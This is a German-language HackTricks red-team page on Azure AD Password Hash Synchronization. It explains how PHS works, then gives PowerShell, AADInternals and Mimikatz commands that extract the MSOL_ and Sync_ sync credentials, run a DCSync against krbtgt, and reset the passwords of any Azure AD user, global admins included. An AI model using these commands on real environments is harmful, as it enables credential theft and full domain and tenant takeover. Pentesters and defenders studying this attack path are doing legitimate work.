Az - PHS - Passwort-Hash-Synchronisierung

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundinformationen

Aus den Dokumenten: Passwort-Hash-Synchronisierung ist eine der Anmeldemethoden, die verwendet wird, um hybride Identität zu erreichen. Azure AD Connect synchronisiert einen Hash, des Hashes, des Passworts eines Benutzers von einer lokalen Active Directory-Instanz zu einer cloudbasierten Azure AD-Instanz.

Es ist die häufigste Methode, die von Unternehmen verwendet wird, um ein lokales AD mit Azure AD zu synchronisieren.

Alle Benutzer und ein Hash der Passwort-Hashes werden vom lokalen AD zu Azure AD synchronisiert. Allerdings werden Klartext-Passwörter oder die ursprünglichen Hashes nicht an Azure AD gesendet.
Darüber hinaus werden eingebaute Sicherheitsgruppen (wie Domänenadministratoren...) nicht synchronisiert mit Azure AD.

Die Hash-Synchronisierung erfolgt alle 2 Minuten. Standardmäßig werden jedoch Passwortablauf und Kontenablauf nicht synchronisiert in Azure AD. Ein Benutzer, dessen lokales Passwort abgelaufen ist (nicht geändert), kann weiterhin auf Azure-Ressourcen zugreifen mit dem alten Passwort.

Wenn ein lokaler Benutzer auf eine Azure-Ressource zugreifen möchte, erfolgt die Authentifizierung in Azure AD.

PHS ist erforderlich für Funktionen wie Identitätsschutz und AAD-Domänendienste.

Pivotierung

Wenn PHS konfiguriert ist, werden einige privilegierte Konten automatisch erstellt:

  • Das Konto MSOL_<installationID> wird automatisch im lokalen AD erstellt. Dieses Konto erhält eine Rolle für Verzeichnis-Synchronisierungskonten (siehe Dokumentation), was bedeutet, dass es Replikationsberechtigungen (DCSync) im lokalen AD hat.
  • Ein Konto Sync_<Name des lokalen ADConnect-Servers>_installationID wird in Azure AD erstellt. Dieses Konto kann das Passwort von JEDEM Benutzer (synchronisiert oder nur Cloud) in Azure AD zurücksetzen.

Die Passwörter der beiden vorherigen privilegierten Konten werden in einem SQL-Server auf dem Server gespeichert, auf dem Azure AD Connect installiert ist. Administratoren können die Passwörter dieser privilegierten Benutzer im Klartext extrahieren.
Die Datenbank befindet sich in C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Es ist möglich, die Konfiguration aus einer der Tabellen zu extrahieren, wobei eine verschlüsselt ist:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Die verschlüsselte Konfiguration ist mit DPAPI verschlüsselt und enthält die Passwörter des MSOL_* Benutzers im lokalen AD und das Passwort von Sync_* in AzureAD. Daher ist es möglich, durch das Kompromittieren dieser Privilegien auf das AD und AzureAD zuzugreifen.

Sie finden eine vollständige Übersicht darüber, wie diese Anmeldeinformationen gespeichert und entschlüsselt werden, in diesem Vortrag.

Finden des Azure AD Connect-Servers

Wenn der Server, auf dem Azure AD Connect installiert ist, mit der Domäne verbunden ist (in den Dokumenten empfohlen), ist es möglich, ihn mit zu finden:

bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Missbrauch von MSOL_*

bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

caution

Sie können auch adconnectdump verwenden, um diese Anmeldeinformationen zu erhalten.

Missbrauch von Sync_*

Durch Kompromittierung des Sync_* Kontos ist es möglich, das Passwort eines beliebigen Benutzers (einschließlich globaler Administratoren) zurückzusetzen.

bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Es ist auch möglich, die Passwörter von nur Cloud-Benutzern zu ändern (auch wenn das unerwartet ist).

bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Es ist auch möglich, das Passwort dieses Benutzers zu dumpen.

caution

Eine andere Option wäre, privilegierte Berechtigungen für ein Dienstprinzipal zuzuweisen, was der Sync-Benutzer berechtigt ist zu tun, und dann auf dieses Dienstprinzipal zuzugreifen als eine Möglichkeit zur Privilegieneskalation.

Seamless SSO

Es ist möglich, Seamless SSO mit PHS zu verwenden, das anfällig für andere Missbräuche ist. Überprüfen Sie es in:

Az - Seamless SSO

References

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks